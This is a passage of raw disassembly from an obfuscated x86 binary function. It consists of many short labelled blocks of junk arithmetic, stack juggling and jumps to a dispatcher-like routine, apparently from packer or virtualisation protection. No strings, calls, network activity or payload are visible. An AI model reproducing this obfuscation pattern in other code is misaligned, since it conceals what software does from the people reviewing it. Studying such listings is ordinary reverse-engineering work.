		add	esi, 78DA063Eh
		jp	loc_59D616
		jmp	loc_5AA91D
; ---------------------------------------------------------------------------
		pop	eax
		mov	ch, ch
		mov	esi, ebx


loc_5AD0CF:				; CODE XREF: sub_58A891+1E050j
		push	[esp+0A6h+var_A6]
		pop	esi
		jmp	loc_5A7DB6
; ---------------------------------------------------------------------------


loc_5AD0D8:				; CODE XREF: sub_58A891+1602Ej
		sub	ebx, 4B526641h
		and	ebx, 0B355F4h
		jmp	loc_5ACF59
; ---------------------------------------------------------------------------


loc_5AD0E9:				; CODE XREF: sub_58A891+22F94j
		add	edx, 4
		push	esi
		mov	esi, 392C0A82h
		shr	esi, 4
		jmp	loc_5A0380
; ---------------------------------------------------------------------------


loc_5AD0FD:				; CODE XREF: sub_58A891:loc_5A7C2Bj
		jmp	loc_5AD26A
; ---------------------------------------------------------------------------


loc_5AD102:				; CODE XREF: sub_58A891:loc_5AA928j
		push	esi
		mov	esi, 72D7508Eh
		shl	esi, 1
		jmp	loc_59DF42
; ---------------------------------------------------------------------------


loc_5AD10F:				; CODE XREF: sub_58A891+2791Cj
		mov	edi, [esp+94h+var_94]
		add	esp, 4
		push	esi
		jmp	loc_5ACC89
; ---------------------------------------------------------------------------


loc_5AD11E:				; CODE XREF: sub_58A891+1377Cj
					; sub_58A891+268C6j
		mov	ecx, esp
		jmp	loc_5B2E18
; ---------------------------------------------------------------------------


loc_5AD125:				; CODE XREF: sub_58A891+19F69j
		and	edx, 6EB221Ch
		sub	edx, 2F5C39ADh
		sub	edx, 62444C51h
		sub	edx, 63455070h
		add	edx, 0FD4050A6h
		sub	ecx, edx
		pop	edx
		add	ecx, 794C647Dh
		sub	ecx, 57F57252h
		pop	ebx
		xor	ecx, [esp+0E2h+var_E2]
		jmp	loc_5A6DA1
; ---------------------------------------------------------------------------


loc_5AD15B:				; CODE XREF: sub_58A891+1AE1Ej
		shl	eax, 6
		jnz	loc_59E1C3
		add	eax, 6C436185h
		jnz	loc_59E2F3
		shl	eax, 2
		push	edx


loc_5AD173:				; CODE XREF: sub_58A891+126A8j
		push	edi
		jmp	loc_5A1922
; ---------------------------------------------------------------------------


loc_5AD179:				; CODE XREF: sub_58A891+17EBCj
		push	edx
		mov	edx, 4B396BA3h
		neg	edx
		add	edx, 0E9EAF014h
		add	edi, edx
		pop	edx
		add	edx, edi
		pop	edi
		xchg	edx, [esp+0B6h+var_B6]
		pop	esp
		add	eax, ebp
		jmp	loc_5AF5D1
; ---------------------------------------------------------------------------


loc_5AD198:				; CODE XREF: sub_58A891+272E8j
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+0AEh+var_AE]
		jmp	loc_5B1F9A
; ---------------------------------------------------------------------------


loc_5AD1A3:				; CODE XREF: sub_58A891+2815Dj
		push	1664h
		mov	[esp+0B2h+var_B2], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5B2C91
; ---------------------------------------------------------------------------


loc_5AD1B8:				; CODE XREF: sub_58A891+181A7j
					; sub_58A891+23A9Aj
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AD1BD:				; CODE XREF: sub_58A891+20E8Bj
		push	ebp
		push	edi
		mov	edi, 4C756420h
		add	edi, 7D1754D4h
		jmp	loc_5AEB93
; ---------------------------------------------------------------------------


loc_5AD1CF:				; CODE XREF: sub_58A891:loc_5AD9FAj
		add	bl, 0
		jmp	loc_5ADD44
; ---------------------------------------------------------------------------


loc_5AD1D7:				; CODE XREF: sub_58A891+1A445j
		push	ebp
		mov	ebp, 6A4A4A15h
		jmp	loc_59ED2D
; ---------------------------------------------------------------------------


loc_5AD1E2:				; CODE XREF: sub_58A891+1F111j
		sub	edx, esi
		sub	edx, 6B1B5C23h
		jmp	loc_5B0414
; ---------------------------------------------------------------------------


loc_5AD1EF:				; CODE XREF: sub_58A891+18934j
					; sub_58A891+2453Cj
		mov	edi, 7BBE4534h
		xor	edx, edi
		pop	edi
		jmp	loc_5B08A1
; ---------------------------------------------------------------------------


loc_5AD1FC:				; CODE XREF: sub_58A891+121D8j
		sub	esp, 4
		mov	[esp+0AAh+var_AA], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5AFCA9
; ---------------------------------------------------------------------------


loc_5AD212:				; CODE XREF: sub_58A891+13F2Cj
		mov	[esp+0B2h+var_B2], ebp
		jmp	loc_5A4BAF
; ---------------------------------------------------------------------------


loc_5AD21A:				; CODE XREF: sub_58A891+26912j
		push	708248F3h
		jmp	loc_5AD396
; ---------------------------------------------------------------------------


loc_5AD224:				; CODE XREF: sub_58A891+165ECj
		sub	ecx, 1
		push	edx
		mov	edx, 31FD2F4Ch
		not	edx
		not	edx
		sub	edx, 0AFD048Eh
		and	ecx, edx
		pop	edx
		add	ecx, 1505D9EFh
		sub	edx, ecx
		pop	ecx
		jmp	loc_59C8D9
; ---------------------------------------------------------------------------


loc_5AD24B:				; CODE XREF: sub_58A891+239DFj
		push	ebx
		mov	ebx, 74CC1990h
		add	edx, ebx
		mov	ebx, [esp+52h+var_54+2]
		add	esp, 4
		jmp	loc_59ED5F
; ---------------------------------------------------------------------------


loc_5AD261:				; CODE XREF: sub_58A891+20614j
		xchg	ebx, [esp+8Ch+var_8C]
		pop	esp
		jmp	loc_59F8D3
; ---------------------------------------------------------------------------


loc_5AD26A:				; CODE XREF: sub_58A891:loc_5AD0FDj
		add	bl, 1
		inc	bl
		sub	bl, 54h
		jle	loc_5A366B
		jmp	loc_5A79B5
; ---------------------------------------------------------------------------


loc_5AD27D:				; CODE XREF: sub_58A891+26FA7j
		or	bh, 24h
		not	bh
		shl	bh, 8
		add	bh, 47h
		mov	ah, bh
		pop	ebx
		jmp	loc_59CFC7
; ---------------------------------------------------------------------------


loc_5AD290:				; CODE XREF: sub_58A891+1F65Aj
		sub	esp, 4
		jmp	loc_5AB607
; ---------------------------------------------------------------------------


loc_5AD29B:				; CODE XREF: sub_58A891+22A35j
		push	0E0Fh
		jmp	loc_5A06BC
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp+48h+var_48], al
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AD2B4:				; CODE XREF: sub_58A891+21061j
		sub	bx, 45E0h
		sub	bx, bp
		add	bx, 45E0h
		xchg	bx, bp
		pop	bx
		jmp	loc_5AD29B
; ---------------------------------------------------------------------------


loc_5AD2CB:				; CODE XREF: sub_58A891+243DBj
		mov	ebp, [esp+1Eh+var_20+2]
		jmp	loc_5AFE83
; ---------------------------------------------------------------------------


loc_5AD2D3:				; CODE XREF: sub_58A891+2746Fj
		xor	esi, 21910D2Ch
		add	ebp, esi
		pop	esi
		push	edi
		mov	edi, 4
		jmp	loc_5A6AFC
; ---------------------------------------------------------------------------


loc_5AD2E7:				; CODE XREF: sub_58A891+27572j
		push	[esp+1Eh+var_1C+2]
		jmp	loc_5A170A
; ---------------------------------------------------------------------------


loc_5AD2F0:				; CODE XREF: sub_58A891+20C22j
		pop	[esp+0A8h+var_AA+2]
		mov	esp, [esp+0A4h+var_A6+2]
		mov	[esp+0A4h+var_A6+2], ebx
		push	[esp+0A4h+var_A6+2]
		mov	eax, [esp+0A8h+var_AA+2]
		sub	esp, 4
		mov	[esp+0ACh+var_AE+2], ebx
		jmp	loc_59F59A
; ---------------------------------------------------------------------------


loc_5AD30D:				; CODE XREF: sub_58A891+2570Cj
		mov	[esp+0ACh+var_AE+2], eax
		xor	[esp+0ACh+var_AE+2], 696563C2h
		pop	edi
		xor	edi, 696563C2h
		pop	eax
		shr	edi, 8
		push	ebp
		mov	ebp, 0C191765h
		jmp	loc_59DCCB
; ---------------------------------------------------------------------------


loc_5AD32D:				; CODE XREF: sub_58A891+14316j
		mov	ebx, esp
		push	esi
		mov	esi, 4
		sub	ebx, 335E1289h
		add	ebx, esi
		add	ebx, 335E1289h
		jmp	loc_5A09EF
; ---------------------------------------------------------------------------


loc_5AD348:				; CODE XREF: sub_58A891+20CB1j
		sub	esp, 4
		mov	[esp+26h+var_28+2], ebp
		mov	ebp, 59C915DDh
		inc	ebp
		push	ebx
		jmp	loc_5AF670
; ---------------------------------------------------------------------------


loc_5AD35D:				; CODE XREF: sub_58A891+24E0Cj
		mov	esi, 2
		push	ecx
		mov	ecx, esp
		jmp	loc_5B258C
; ---------------------------------------------------------------------------


loc_5AD36A:				; CODE XREF: sub_58A891+283B8j
		jmp	loc_5A39D4
; ---------------------------------------------------------------------------


loc_5AD36F:				; CODE XREF: sub_58A891+243B6j
		xor	ebx, [esp+2Eh+var_30+2]
		jmp	loc_5A78A4
; ---------------------------------------------------------------------------


loc_5AD377:				; CODE XREF: sub_58A891+1195Aj
		xor	esi, [esp+1Ah+var_1C+2]
		jmp	loc_5A5AAB
; ---------------------------------------------------------------------------


loc_5AD37F:				; CODE XREF: sub_58A891+24155j
		pop	edx
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		jmp	loc_5A1F44
; ---------------------------------------------------------------------------


loc_5AD38B:				; CODE XREF: sub_58A891+170CEj
		xor	esi, 30205h
		jmp	loc_5AE676
; ---------------------------------------------------------------------------


loc_5AD396:				; CODE XREF: sub_58A891+2298Ej
		pop	eax
		or	eax, 46C84734h
		jbe	loc_5AE04C
		jmp	loc_5A5BFE
; ---------------------------------------------------------------------------


loc_5AD3A7:				; CODE XREF: sub_58A891:loc_5AF080j
		neg	ecx
		xor	ecx, 5AE53B68h
		jmp	loc_5A0E43
; ---------------------------------------------------------------------------


loc_5AD3B4:				; CODE XREF: sub_58A891+1DFE3j
		add	esp, 4
		xchg	ecx, [esp+42h+var_44+2]
		mov	esp, [esp+42h+var_44+2]
		mov	word ptr [esp+42h+var_44+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AD3CD:				; CODE XREF: sub_58A891+22057j
		pop	edi
		pop	[esp+0B6h+var_B6]
		pop	esp
		jmp	loc_5A3775
; ---------------------------------------------------------------------------


loc_5AD3D7:				; CODE XREF: sub_58A891+260A1j
		mov	edi, [esp+0AEh+var_AE]
		add	esp, 4
		push	esi
		mov	esi, 35FD6305h
		sub	esi, 0C0C6023Ch
		add	ebx, esi
		pop	esi
		push	ecx
		jmp	loc_5AFA0D
; ---------------------------------------------------------------------------


loc_5AD3F5:				; CODE XREF: sub_58A891+24A8Bj
		sub	esp, 4
		jmp	loc_59EE9D
; ---------------------------------------------------------------------------


loc_5AD400:				; CODE XREF: sub_58A891+239BCj
		sub	bl, dl
		pop	dx
		push	eax
		mov	al, 2Ah
		sub	bl, al
		pop	eax
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	2A09h
		mov	[esp+0B4h+var_B6+2], eax
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AD41D:				; CODE XREF: sub_58A891+146ACj
		sub	esi, 27E0E8F1h
		jmp	loc_5A84BC
; ---------------------------------------------------------------------------


loc_5AD428:				; CODE XREF: sub_58A891+16F8Aj
		xor	ebp, eax
		jmp	loc_5AF5AE
; ---------------------------------------------------------------------------


loc_5AD42F:				; CODE XREF: sub_58A891+17FADj
		pop	esp
		jmp	loc_59DDC8
; ---------------------------------------------------------------------------


loc_5AD435:				; CODE XREF: sub_58A891:loc_5A53EEj
		dec	ecx
		jmp	loc_5A0358
; ---------------------------------------------------------------------------


loc_5AD43B:				; CODE XREF: sub_58A891+19C20j
		sub	ebx, 270F5551h
		add	ebx, 4892391Ch
		mov	eax, [esp+2Eh+var_30+2]
		jmp	loc_5AB8E4
; ---------------------------------------------------------------------------


loc_5AD44F:				; CODE XREF: sub_58A891+18AF5j
		push	edx
		mov	dh, 94h
		push	edx
		not	byte ptr [esp+16h+var_18+3]
		pop	edx
		add	dh, 0AFh
		and	dh, 0E8h
		neg	dh
		jmp	loc_59CEC2
; ---------------------------------------------------------------------------


loc_5AD465:				; CODE XREF: sub_58A891+16F39j
		jmp	loc_5A6708
; ---------------------------------------------------------------------------


loc_5AD46A:				; CODE XREF: sub_58A891+18DCCj
		pop	ebx
		shr	cl, 5
		jmp	loc_5AA7A7
; ---------------------------------------------------------------------------


loc_5AD473:				; CODE XREF: sub_58A891+211B4j
		push	edi
		jmp	loc_59CC21
; ---------------------------------------------------------------------------


loc_5AD479:				; CODE XREF: sub_58A891+23238j
		pop	ebp
		jmp	loc_5A99B2
; ---------------------------------------------------------------------------


loc_5AD47F:				; CODE XREF: sub_58A891+2796Bj
		push	ebp
		push	271940A1h
		mov	ebp, [esp+2Eh+var_30+2]
		add	esp, 4
		shr	ebp, 5
		jnp	loc_5B0283
		push	eax
		mov	eax, 0D597FA9h
		jmp	loc_5AD8EE
; ---------------------------------------------------------------------------


loc_5AD4A2:				; CODE XREF: sub_58A891+1D7A7j
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A7579
; ---------------------------------------------------------------------------


loc_5AD4AF:				; CODE XREF: sub_58A891+1262Cj
		add	ebp, 4
		xchg	ebp, [esp+98h+var_98]
		jmp	loc_59D1C6
; ---------------------------------------------------------------------------


loc_5AD4BD:				; CODE XREF: sub_58A891+25B60j
		sub	edx, esi
		pop	esi
		jmp	loc_59E241
; ---------------------------------------------------------------------------


loc_5AD4C5:				; CODE XREF: sub_58A891+20824j
		mov	[esp+12h+var_14+2], ebx
		push	6AC0F410h
		mov	ebx, [esp+16h+var_18+2]
		add	esp, 4
		sub	eax, 48761AB1h
		push	edi
		mov	edi, 11753730h
		xor	edi, 5CE458FEh
		add	eax, edi
		jmp	loc_5A523E
; ---------------------------------------------------------------------------


loc_5AD4EB:				; CODE XREF: sub_58A891+1C252j
					; sub_58A891+26990j
		push	[esp+0A2h+var_A2]
		pop	ebp
		jmp	loc_5B02D0
; ---------------------------------------------------------------------------


loc_5AD4F4:				; CODE XREF: sub_58A891+23BA3j
		mov	edi, [esp+0A2h+var_A2]
		jmp	loc_5B19C9
; ---------------------------------------------------------------------------


loc_5AD4FC:				; CODE XREF: sub_58A891+27CE6j
		shl	ecx, 8
		push	esi
		push	edx
		mov	edx, 55E70BE3h
		mov	esi, edx
		mov	edx, [esp+0AAh+var_AA]
		add	esp, 4
		jmp	loc_5A87B3
; ---------------------------------------------------------------------------


loc_5AD516:				; CODE XREF: sub_58A891+129BFj
		push	edx
		mov	edx, 7FFA1245h
		add	eax, edx
		jmp	loc_5A3979
; ---------------------------------------------------------------------------


loc_5AD523:				; CODE XREF: sub_58A891+1A333j
		inc	[esp+1Ah+var_1C+2]
		pop	ebp
		sub	ebp, 32530AD2h
		xor	ebp, 0E018246Ah
		or	edx, ebp
		jmp	loc_59E1FB
; ---------------------------------------------------------------------------


loc_5AD53A:				; CODE XREF: sub_58A891+2691Fj
		shl	eax, 8
		jmp	loc_5A8701
; ---------------------------------------------------------------------------


loc_5AD542:				; CODE XREF: sub_58A891+1DCD7j
		pop	esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_5AE35B
; ---------------------------------------------------------------------------


loc_5AD550:				; CODE XREF: sub_58A891+17673j
					; sub_58A891+26637j
		sub	edi, 0CD806F00h
		mov	ebp, edi
		pop	edi
		add	ecx, ebp
		mov	ebp, [esp+0D6h+var_D6]
		add	esp, 4
		add	ecx, edi
		push	ebx
		push	edi
		mov	edi, 7E431508h
		shr	edi, 4
		shr	edi, 8
		xor	edi, 3291A838h
		jmp	loc_5A15B7
; ---------------------------------------------------------------------------


loc_5AD57E:				; CODE XREF: sub_58A891+216A4j
		add	ch, bh
		pop	ebx
		push	70A6h
		mov	[esp+16h+var_18+2], edx
		push	ecx
		mov	cl, 0
		push	ecx
		mov	ch, 0C0h
		mov	dh, 37h
		add	dh, ch
		pop	ecx
		add	dh, 0D2h
		add	dh, cl
		sub	dh, 0D2h
		mov	ecx, [esp+1Ah+var_1C+2]
		add	esp, 4
		sub	ch, 74h
		add	ch, dh
		add	ch, 74h
		pop	edx
		xor	al, ch
		jmp	loc_5AF098
; ---------------------------------------------------------------------------


loc_5AD5B5:				; CODE XREF: sub_58A891:loc_5A14FBj
		add	ebx, 62510D19h
		jle	loc_59FC41
		sub	ebx, 0ADD7483Eh
		mov	eax, ebx
		pop	ebx
		xor	ebx, eax
		jmp	loc_5ABDC4
; ---------------------------------------------------------------------------


loc_5AD5D1:				; CODE XREF: sub_58A891:loc_5A643Bj
		push	eax
		mov	eax, 0E76D2504h
		jmp	loc_5A3879
; ---------------------------------------------------------------------------


loc_5AD5DC:				; CODE XREF: sub_58A891+1E5A7j
		sub	edi, 0FFFFFFFFh
		push	esi
		mov	esi, 0
		sub	esi, edi
		mov	edi, esi
		jmp	loc_5A3EEB
; ---------------------------------------------------------------------------


loc_5AD5EE:				; CODE XREF: sub_58A891+1BF38j
		add	edx, eax
		jmp	loc_5B220F
; ---------------------------------------------------------------------------


loc_5AD5F5:				; CODE XREF: sub_58A891+260C2j
		shl	edx, 6
		jnp	loc_5AF49C
		xor	edx, 7F5320C2h
		jmp	loc_5A10F4
; ---------------------------------------------------------------------------
		pop	edi
		add	esi, edi


loc_5AD60C:				; CODE XREF: sub_58A891+1A201j
		xchg	ebx, [esp+0]
		pop	esp
		push	ecx
		mov	ecx, 2
		jmp	loc_59D88B
; ---------------------------------------------------------------------------


loc_5AD61B:				; CODE XREF: sub_58A891+14FE8j
		add	eax, 6CDA083h
		shl	eax, 8
		xchg	eax, ecx
		not	ecx
		jmp	loc_5ADC47
; ---------------------------------------------------------------------------


loc_5AD62B:				; CODE XREF: sub_58A891+19B4Fj
					; sub_58A891+1E114j
		mov	esi, 285336E7h
		dec	esi
		shr	esi, 8
		jmp	loc_59D8CD
; ---------------------------------------------------------------------------


loc_5AD639:				; CODE XREF: sub_58A891+12EF6j
		jmp	loc_5A4698
; ---------------------------------------------------------------------------


loc_5AD63E:				; CODE XREF: sub_58A891+18A0Fj
		xor	edx, 5D814581h
		shr	edx, 8
		or	edx, 5EE062E6h
		sub	edx, 5EF96AEDh
		jmp	loc_5AFCDF
; ---------------------------------------------------------------------------


loc_5AD658:				; CODE XREF: sub_58A891+230E4j
		xchg	eax, [esp+6+var_8+2]
		pop	esp
		mov	[esp+2+var_4+2], edx
		jmp	loc_59EF4F
; ---------------------------------------------------------------------------


loc_5AD664:				; CODE XREF: sub_58A891+28022j
		mov	esi, 4
		add	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp+2+var_4+2], ebp
		jmp	loc_59C875
; ---------------------------------------------------------------------------


loc_5AD67A:				; CODE XREF: sub_58A891+17963j
		push	esp
		pop	edx
		sub	esp, 4
		jmp	loc_5B1843
; ---------------------------------------------------------------------------


loc_5AD687:				; CODE XREF: sub_58A891+253E2j
		pop	[esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_5A3CC2
; ---------------------------------------------------------------------------


loc_5AD690:				; CODE XREF: sub_58A891+159BFj
		mov	esi, 599D1DC4h
		shl	esi, 1
		sub	esi, 75DC144Dh
		add	esi, 1
		add	esi, 0BB0BA039h
		xor	ecx, esi
		pop	esi
		jmp	loc_5B13DB
; ---------------------------------------------------------------------------


loc_5AD6B1:				; CODE XREF: sub_58A891+1FF11j
		push	edi
		sub	esp, 4
		mov	[esp+0A6h+var_A6], edx
		jmp	loc_5A1C12
; ---------------------------------------------------------------------------


loc_5AD6BD:				; CODE XREF: sub_58A891+1A09Fj
		mov	eax, [esp+46h+var_48+2]
		jmp	loc_59EA1F
; ---------------------------------------------------------------------------


loc_5AD6C5:				; CODE XREF: sub_58A891+1F5ECj
		pop	edi
		jmp	loc_5B0FB0
; ---------------------------------------------------------------------------


loc_5AD6CB:				; CODE XREF: sub_58A891+1CC82j
		mov	[esp+56h+var_58+2], esi
		push	esp
		jmp	loc_5ABD91
; ---------------------------------------------------------------------------


loc_5AD6D4:				; CODE XREF: sub_58A891+15786j
		add	esi, 4EEF0E57h
		mov	eax, esi
		jmp	loc_5A5A99
; ---------------------------------------------------------------------------


loc_5AD6E1:				; CODE XREF: sub_58A891+1F048j
		add	esp, 4
		mov	edi, [esp+0]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A0F16
; ---------------------------------------------------------------------------


loc_5AD6F2:				; CODE XREF: sub_58A891+1D38Aj
		add	esp, 2
		push	small 1B22h
		mov	word ptr [esp+0A4h+var_A6+2], bx
		push	edx
		push	ecx
		push	eax
		mov	al, 75h
		mov	ch, al
		mov	eax, [esp+0B0h+var_B2+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5A9656
; ---------------------------------------------------------------------------


loc_5AD718:				; CODE XREF: sub_58A891+1496Dj
		xor	edi, [esp+0E2h+var_E2]
		mov	esp, [esp+0E2h+var_E2]
		shr	[esp+0E2h+var_E2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AD727:				; CODE XREF: sub_58A891+1EE87j
		not	dl
		mov	cl, dl
		push	[esp+0BAh+var_BA]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A2672
; ---------------------------------------------------------------------------


loc_5AD73D:				; CODE XREF: sub_58A891+2120Bj
		pop	ecx
		pop	[esp+4Eh+var_50+2]
		mov	esp, [esp+4Ah+var_4C+2]
		jmp	loc_5A0618
; ---------------------------------------------------------------------------


loc_5AD749:				; CODE XREF: sub_58A891+21AD6j
		pop	ecx
		add	bl, al
		mov	ax, word ptr [esp+0Ah+var_C+2]
		push	56A9h
		mov	[esp+0Eh+var_10+2], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 2
		push	ebx
		jmp	loc_59E274
; ---------------------------------------------------------------------------


loc_5AD769:				; CODE XREF: sub_58A891+1ABDAj
		add	edx, 3F375F2Ch
		jmp	loc_59E1E8
; ---------------------------------------------------------------------------


loc_5AD774:				; CODE XREF: sub_58A891+26418j
		pop	edx
		add	eax, edi
		push	ebx
		mov	ebx, 6AC7B40h
		jmp	loc_5A8FDD
; ---------------------------------------------------------------------------


loc_5AD782:				; CODE XREF: sub_58A891+1B2C3j
		neg	esi
		and	esi, 6DD6663Dh
		shr	esi, 6
		and	esi, 60DB37F1h
		add	esi, 64BDFBFCh
		mov	ebx, esi
		pop	esi
		shl	ebx, 2
		sub	ebx, 522E5D0Fh
		shr	ebx, 1
		sub	ebx, 0ECF7A416h
		mov	esi, ebx
		pop	ebx
		mov	ebx, esi
		jmp	loc_5AC9D2
; ---------------------------------------------------------------------------


loc_5AD7B7:				; CODE XREF: sub_58A891+13B5Ej
		push	ebx
		jmp	loc_5AB7A3
; ---------------------------------------------------------------------------


loc_5AD7BD:				; CODE XREF: sub_58A891+1F9BDj
					; sub_58A891:loc_5AD01Fj
		not	edi
		xchg	edi, [esp+36h+var_38+2]
		mov	edx, [esp+36h+var_38+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A1827
; ---------------------------------------------------------------------------


loc_5AD7D6:				; CODE XREF: sub_58A891+1C399j
		push	esi
		mov	esi, 255520F7h
		sub	edx, 50BE3819h
		add	edx, 1AEE3BA0h
		add	edx, esi
		sub	edx, 1AEE3BA0h
		add	edx, 50BE3819h
		mov	esi, [esp+5Ah+var_5C+2]
		jmp	loc_5A6610
; ---------------------------------------------------------------------------


loc_5AD7FE:				; CODE XREF: sub_58A891+231ADj
		sub	edi, 75CB66E1h
		add	edi, 20ACEEC2h
		add	ebx, edi
		jmp	loc_5A210E
; ---------------------------------------------------------------------------


loc_5AD811:				; CODE XREF: sub_58A891+164EFj
		neg	ebp
		jb	loc_5A63A5
		push	ebx
		mov	ebx, 498839C5h
		inc	ebx
		or	al, 7Fh
		pop	edx


loc_5AD823:				; CODE XREF: sub_58A891+186E9j
		mov	edx, esp
		jmp	loc_5AD0E9
; ---------------------------------------------------------------------------


loc_5AD82A:				; CODE XREF: sub_58A891+1952Aj
		pop	esp
		div	ecx
		push	6C58h
		jmp	loc_59EFC9
; ---------------------------------------------------------------------------


loc_5AD837:				; CODE XREF: sub_58A891+20B61j
		add	esi, 3ABCC56Fh
		sub	eax, 70834C12h
		jmp	loc_5AA060
; ---------------------------------------------------------------------------


loc_5AD847:				; CODE XREF: sub_58A891+184B5j
		add	al, bl
		sub	al, 0BAh
		push	[esp+70h+var_70]
		jmp	loc_5AB831
; ---------------------------------------------------------------------------


loc_5AD853:				; CODE XREF: sub_58A891+1B078j
		xchg	ebp, [esp+6Eh+var_70+2]
		pop	esp
		sub	bl, al
		jmp	loc_5A13F7
; ---------------------------------------------------------------------------


loc_5AD85E:				; CODE XREF: sub_58A891+1714Cj
		sub	ebp, 1
		shl	ebp, 5
		add	ebp, 0DC02196Fh
		sub	eax, ebp
		jmp	loc_59CE29
; ---------------------------------------------------------------------------


loc_5AD871:				; CODE XREF: sub_58A891+25914j
		xor	edx, ecx
		jmp	loc_59EDE9
; ---------------------------------------------------------------------------


loc_5AD878:				; CODE XREF: sub_58A891+1FCCAj
		sub	al, bl
		mov	ebx, [esp+22h+var_24+2]
		jmp	loc_5A19E9
; ---------------------------------------------------------------------------


loc_5AD882:				; CODE XREF: sub_58A891+18335j
		mov	ah, cl
		push	edx
		mov	dl, ah
		not	dl
		mov	ah, dl
		jmp	loc_5AC53E
; ---------------------------------------------------------------------------


loc_5AD890:				; CODE XREF: sub_58A891+14FDBj
		push	ebx
		mov	ebx, esp
		jmp	loc_5A5187
; ---------------------------------------------------------------------------


loc_5AD898:				; CODE XREF: sub_58A891+1AB43j
		inc	ebx
		jns	loc_5A5F55
		xor	ebx, 1AA63DC7h
		jno	loc_5A3AC4
		pop	esp
		push	[esp+9Eh+var_9E]
		mov	edx, [esp+0A2h+var_A2]
		add	esp, 4
		push	627Eh
		mov	[esp+0A2h+var_A2], edx
		push	esp
		pop	edx
		add	edx, 4
		push	edi
		mov	edi, 4
		sub	edx, edi
		pop	edi
		xchg	edx, [esp+0A2h+var_A2]
		mov	esp, [esp+0A2h+var_A2]
		mov	[esp+0A2h+var_A2], edx
		push	12AFh
		mov	[esp+0A6h+var_A6], esp
		add	[esp+0A6h+var_A6], 4
		mov	edx, [esp+0A6h+var_A6]
		jmp	loc_5B2C54
; ---------------------------------------------------------------------------


loc_5AD8EE:				; CODE XREF: sub_58A891+22C0Cj
		xor	eax, 0CA9E2C4Eh
		xor	ebp, eax
		pop	eax
		push	ecx
		mov	ecx, ebp
		mov	edi, ecx
		pop	ecx
		mov	ebp, [esp+2Ah+var_2C+2]
		add	esp, 4
		add	ebx, edi
		push	[esp+26h+var_28+2]
		pop	edi
		add	esp, 4
		add	edi, ebx
		mov	ebx, [esp+22h+var_24+2]
		add	esp, 4
		jmp	loc_5A184A
; ---------------------------------------------------------------------------


loc_5AD921:				; CODE XREF: sub_58A891+24AEFj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_59D342
		sub	esp, 4
		mov	[esp+22h+var_24+2], ecx
		push	edx
		jmp	loc_5AA239
; ---------------------------------------------------------------------------


loc_5AD937:				; CODE XREF: sub_58A891+26329j
		add	esp, 4
		and	edi, ecx
		pop	ecx
		push	edi
		push	ebp
		jmp	loc_5ACE6B
; ---------------------------------------------------------------------------


loc_5AD944:				; CODE XREF: sub_58A891+15DC1j
		add	eax, 63122466h
		add	eax, ebp
		sub	eax, 63122466h
		mov	ebp, [esp+0B2h+var_B2]
		add	esp, 4
		push	esi
		mov	esi, 185D0A9Fh
		shr	esi, 3
		sub	esi, 30BA14Fh
		sub	eax, 3E712601h
		sub	eax, esi
		add	eax, 3E712601h
		pop	esi
		jmp	loc_5AD658
; ---------------------------------------------------------------------------


loc_5AD97A:				; CODE XREF: sub_58A891+1BB2Cj
		neg	ecx
		jnz	loc_5A664E
		add	ecx, 2C2F3D6Fh
		mov	edx, ecx
		pop	ecx
		mov	ebp, edx
		pop	edx
		xor	ebx, ebp


loc_5AD990:				; CODE XREF: sub_58A891+27AC9j
		add	eax, 4
		push	esi
		jmp	loc_5B2023
; ---------------------------------------------------------------------------


loc_5AD99B:				; CODE XREF: sub_58A891+216F6j
		add	edi, 4
		xor	edi, [esp+0B2h+var_B2]
		xor	[esp+0B2h+var_B2], edi
		xor	edi, [esp+0B2h+var_B2]
		mov	esp, [esp+0B2h+var_B2]
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_5A23B2
; ---------------------------------------------------------------------------
		lodsb
		push	bx
		mov	bl, 0F4h
		add	al, bl
		jmp	loc_5AE841
; ---------------------------------------------------------------------------


loc_5AD9CC:				; CODE XREF: sub_58A891+18888j
		sub	edi, 4
		jmp	loc_5A79D3
; ---------------------------------------------------------------------------


loc_5AD9D7:				; CODE XREF: sub_58A891+238C8j
		xor	ecx, 84C05824h
		add	eax, ecx
		mov	ecx, [esp+12h+var_14+2]
		add	esp, 4
		push	ecx
		push	eax
		jmp	loc_59C749
; ---------------------------------------------------------------------------


loc_5AD9EF:				; CODE XREF: sub_58A891+26CC8j
		mov	ebx, ebp
		pop	ebp
		neg	ebx
		dec	ebx
		jmp	loc_5B2D8C
; ---------------------------------------------------------------------------


loc_5AD9FA:				; CODE XREF: sub_58A891+1D8ECj
		jmp	loc_5AD1CF
; ---------------------------------------------------------------------------


loc_5AD9FF:				; CODE XREF: sub_58A891+25505j
		pop	esp
		push	1C74h
		mov	[esp+0A2h+var_A2], eax
		jmp	loc_59E1A9
; ---------------------------------------------------------------------------


loc_5ADA0D:				; CODE XREF: sub_58A891+23A72j
		sub	esp, 4
		mov	[esp+0A6h+var_A6], eax
		mov	eax, 7A536C8Ah
		xor	ebp, eax
		mov	eax, [esp+0A6h+var_A6]
		jmp	loc_5A19D2
; ---------------------------------------------------------------------------


loc_5ADA25:				; CODE XREF: sub_58A891+1CBF5j
